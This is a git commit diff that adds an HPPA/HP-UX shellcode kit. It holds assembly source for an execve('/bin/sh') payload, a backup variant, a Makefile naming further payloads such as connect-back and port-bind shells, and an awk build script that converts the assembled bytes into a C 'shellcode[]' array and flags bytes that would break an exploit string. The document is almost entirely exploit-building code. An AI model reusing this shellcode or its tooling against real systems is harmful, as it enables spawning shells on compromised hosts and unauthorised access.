initial

4 files changed, 139 insertions, 0 deletions

diff --git a/other/shellkit/hppa_hpux/Makefile b/other/shellkit/hppa_hpux/Makefile
new file mode 100644
index 0000000..41621dd
--- /dev/null
+++ b/other/shellkit/hppa_hpux/Makefile
@@ -0,0 +1,14 @@
+
+#DFLAGS=-O2
+DFLAGS=-g -ggdb
+CC=gcc
+CFLAGS=$(DFLAGS) -Wall
+
+all:
+        $(CC) $(CFLAGS) -o execvesh execvesh.s
+
+clean:
+        rm -f *.o
+        rm -f chmod chroot connectsh execvesh exit portshellsh read \
+                setgid setreuid
+
diff --git a/other/shellkit/hppa_hpux/build.sh b/other/shellkit/hppa_hpux/build.sh
new file mode 100644
index 0000000..5a77f25
--- /dev/null
+++ b/other/shellkit/hppa_hpux/build.sh
@@ -0,0 +1,57 @@
+#!/bin/sh
+
+#c89 -c -o object.o $1
+#objdump -D cbegin $1 | egrep "[0-9a-f]+:" | cut -c 7- | \
+#       awk '{ printf ("\t\"\\x%s\\x%s\\x%s\\x%s\"\t/* %s\t*/\n", \
+#               $1, $2, $3, $4, $5 $6 $7 $8 $9) }' > \
+#       object.h
+#gcc -o $2 ../codedump.c -DHPUX
+#rm -f object.h
+
+# i knew learning awk would repay some day ;-P
+objdump -D execvesh | \
+awk '
+        function pbyte (CHAR) {
+                if (match (CHAR, /(00)|(0a)|(0d)|(25)/))
+                        printf ("_");
+                printf ("\\x%s", CHAR);
+                if (match (CHAR, /(00)|(0a)|(0d)|(25)/))
+                        printf ("_");
+                return;
+        }
+
+        BEGIN {
+                foo = 0;
+        }
+
+        /cbegin/ {
+                foo = 1;
+                ccount = 0;
+                printf ("unsigned char shellcode[] =");
+        }
+
+        foo == 1 && /cend/ {
+                foo = 0;
+                if (ccount == 0) {
+                        printf (";\n");
+                } else {
+                        printf ("\";\n");
+                }
+        }
+
+        foo == 1 && /[0123456789abcdef]+\:/ {
+                if (ccount == 0) {
+                        printf ("\n\t\"");
+                }
+                pbyte($2);
+                pbyte($3);
+                pbyte($4);
+                pbyte($5);
+                ccount += 4;
+
+                if (ccount == 12) {
+                        ccount = 0;
+                        printf ("\"")
+                }
+        }'
+
diff --git a/other/shellkit/hppa_hpux/execvesh.s b/other/shellkit/hppa_hpux/execvesh.s
new file mode 100644
index 0000000..49b1b33
--- /dev/null
+++ b/other/shellkit/hppa_hpux/execvesh.s
@@ -0,0 +1,36 @@
+
+        .LEVEL 1.1
+
+        .SPACE $TEXT$
+        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44
+
+        .EXPORT main,ENTRY,PRIV_LEV=3,ARGW0=GR,ARGW1=GR
+main
+        bl      cbegin, %r1
+        nop
+
+        .align 4
+
+        .SUBSPA $DATA$
+        .EXPORT cbegin
+
+cbegin
+        bl      moo,%r26
+moo
+        addi,>  0x3b,%r0,%r22
+        addi,<  0x1d,%r26,%r26
+        stw     %r0,4(%sp)
+        stw     %r26,0(%sp)
+        xor     %r0,%sp,%r25
+        xor     %r24,%r24,%r24
+
+        ldil    L%0xc0000004,%r21
+        ble     R%0xc0000004(%sr7,%r21)
+        stbs    %r0,7(%r26)
+
+        .STRING "/bin/sh\x41"
+
+        .EXPORT cend
+cend
+        nop
+
diff --git a/other/shellkit/hppa_hpux/execvesh.s-backup b/other/shellkit/hppa_hpux/execvesh.s-backup
new file mode 100644
index 0000000..c2d3559
--- /dev/null
+++ b/other/shellkit/hppa_hpux/execvesh.s-backup
@@ -0,0 +1,32 @@
+
+        .LEVEL 1.1
+
+        .SPACE $TEXT$
+
+        .align 4
+        .EXPORT cbegin,PRIV_LEV=3,ARGW0=GR,ARGW1=GR,RTNVAL=GR
+
+cbegin
+        .PROC
+        .CALLINFO FRAME=128,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=3
+
+        bl      moo,%r26
+moo
+        xor     %r25,%r25,%r25
+        addi,<  0x11,%r26,%r26
+        stbs    %r0,7(%r26)
+        ldil    L%0xc0000004,%r21
+        ble     R%0xc0000004(%sr7,%r21)
+        ldo     0xb(%r0),%r22
+
+        .STRING "/bin/sh\x41"
+
+        .PROCEND
+
+
+        .EXPORT cend,PRIV_LEV=3,ARGW0=GR,ARGW1=GR,RTNVAL=GR
+cend
+        .PROC
+        .CALLINFO FRAME=128,CALLS,SAVE_RP,SAVE_SP,ENTRY_GR=3
+
+        .PROCEND